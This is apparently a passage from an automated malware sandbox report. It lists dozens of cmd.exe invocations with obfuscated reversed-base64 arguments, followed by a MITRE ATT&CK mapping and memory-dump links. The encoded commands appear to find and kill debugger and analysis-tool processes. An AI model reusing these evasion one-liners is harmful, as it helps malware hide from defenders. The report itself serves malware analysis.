  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2224
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1324
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2928
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3744
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2672
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4456
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3692
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3380
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2356
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1512
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3208
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5804
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:388
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3172
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4652
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2428
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4812
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5296
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4848
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1748
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2808
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3312
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2864
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3856
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3876
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5060
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2920
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1244
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2320
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4392
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5132
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4896
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3372
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2316
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1116
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4296
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:3972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4640
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2856

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Defense Evasion

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3004-0-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-2-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-3-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-4-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-5-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-6-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-7-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-8-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-9-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-10-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-11-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-12-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-13-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-14-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-15-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-16-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-17-0x0000000140000000-0x000000014239E000-memory.dmp

Download

memory/3004-18-0x0000000140000000-0x000000014239E000-memory.dmp

Download